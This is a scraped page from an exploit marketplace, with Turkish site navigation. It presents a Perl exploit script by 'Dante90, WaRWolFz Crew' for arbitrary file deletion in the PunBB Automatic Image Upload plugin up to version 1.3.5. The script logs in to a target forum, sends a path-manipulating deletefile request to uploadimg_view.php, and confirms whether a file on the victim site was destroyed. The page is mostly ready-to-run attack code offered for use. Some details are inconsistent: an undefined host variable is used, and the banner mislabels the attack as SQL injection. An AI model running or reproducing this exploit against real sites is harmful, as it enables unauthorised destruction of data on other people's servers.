0day.today - Dunyanin En Buyuk Exploit Veritabani
![](/img/logo_green.jpg)
Biz sadece bir adet ana domain kullaniyoruz DOMAIN_LINK
Eger exploit satin alacaksaniz ve ya hizmet icin odeme yapacaksaniz, altin almaniz gerekmekte. Biz sitemizi hack amacli kullanmak istemiyoruz, yani her turlu dogru olmayan, kanunsuz ve illegal yapilan eylemler diger hesaplari olumsuz yonde etkileyebilir ve sonrasinda buna yol acan/lar, web sitelerimize ve verilere erisimi tamamen kesilir, banlanir ve hesabini tarafimizca yok edilir.
Sadece bu sitenin yonetimine itibar edin. Sahtelere Dikkat!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Oku [ anlasma ]
- Oku [ Gonder ] kurallar
- Ziyaret et [ SSS ] page
- [ Uye Ol ] profil
- [ FIYAT ]
- Eger istiyorsaniz [ satmak ]
- Eger istiyorsaniz [ almak ]
- Eger kaybederseniz [ Hesap ]
- Herhangi bir sorunuz [ [email protected] ]
- Yetkili sayfa
- Uyelik sayfasi
- Hesap sayfasini geri yukle
- SSS sayfasi
- Iletisim sayfasi
- Paylasim kurallari
- Anlasma sayfasi
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Bize ulasabilirsiniz:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit
=================================================================== PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit =================================================================== #!/usr/bin/perl #[0-Day] PunBB Automatic Image Upload <= v1.3.5 Delete Arbitrary File Vulnerability #Coded By Dante90, WaRWolFz Crew #Bug Discovered By: Dante90, WaRWolFz Crew #Works only if '$Allow_Delete[] = "[USERGROUP]";' is not commented in "uploadimg_config.php" [FIND LINE: 75]. Example: #//$Allow_Delete[] = "Members"; => $Allow_Delete[] = "Members"; use LWP::UserAgent; use HTTP::Cookies; my ($UserName,$PassWord,$DirectoryFile,$DeleteFile) = @ARGV; if(@ARGV < 4){ &usage(); exit(); } my $Message = ""; my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $Referrer = "http://www.warwolfz.com/"; my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, ) or die $!; sub Login(){ my $Login = $UserAgent->post($HostName.'/login.php?action=in', [ form_sent => '1', redirect_url => 'index.php', req_username => $UserName, req_password => $PassWord, login => 'Login', ]) || die $!; if($Login->content =~ /Logged in /i){ return 1; }else{ return 0; } } if (Login() == 1){ $Message = " * Logged in as: " . $UserName; }elsif (Login() == 0){ $Message = " * Login Failed."; } my $Get = $UserAgent->get($HostName."./uploadimg_view.php?view=gallery&p=1&deletefile=./".$DirectoryFile."/".$DeleteFile); my $GetFile = $UserAgent->get($HostName."./uploads/".$DirectoryFile.$DeleteFile); if($Get->content =~ /<b>Warning<\/b>: /i){ refresh($Message, $HostName, "", ""); print " * Error deleting sensible data.\n"; print " * Exploit Failed *\n"; print " ------------------------------------------------------ \n\n"; }elsif ($GetFile->as_string =~ /404 Not Found/i){ refresh($Message, $HostName, $DirectoryFile, $DeleteFile); print " * File Deleted *\n"; print " * Exploit Successed *\n"; print " ------------------------------------------------------\n\n"; system("pause"); }else{ refresh($Message, $HostName, "", ""); print " * General Error. Maybe the file was deleted the same ;)\n"; print " * Control manually: ".$HostName."./uploads/".$DirectoryFile.$DeleteFile."\n"; print " * Error deleting sensible data.\n"; print " * Exploit Failed *\n"; print " ------------------------------------------------------ \n\n"; } sub usage{ system("cls"); { print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n"; print " ------------------------------------------------------ \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [id] *\n"; print " ------------------------------------------------------ \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " ------------------------------------------------------ \n"; }; exit; } sub refresh{ system("cls"); { print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n"; print " ------------------------------------------------------ \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [id] *\n"; print " ------------------------------------------------------ \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " ------------------------------------------------------ \n"; }; print $_[0] ."\n"; print " * Victime Site: " . $_[1] . "\n"; print " * Directory: " . $_[2] . "\n"; print " * File: " . $_[3] . "\n"; } # 0day.today [2024-07-04] #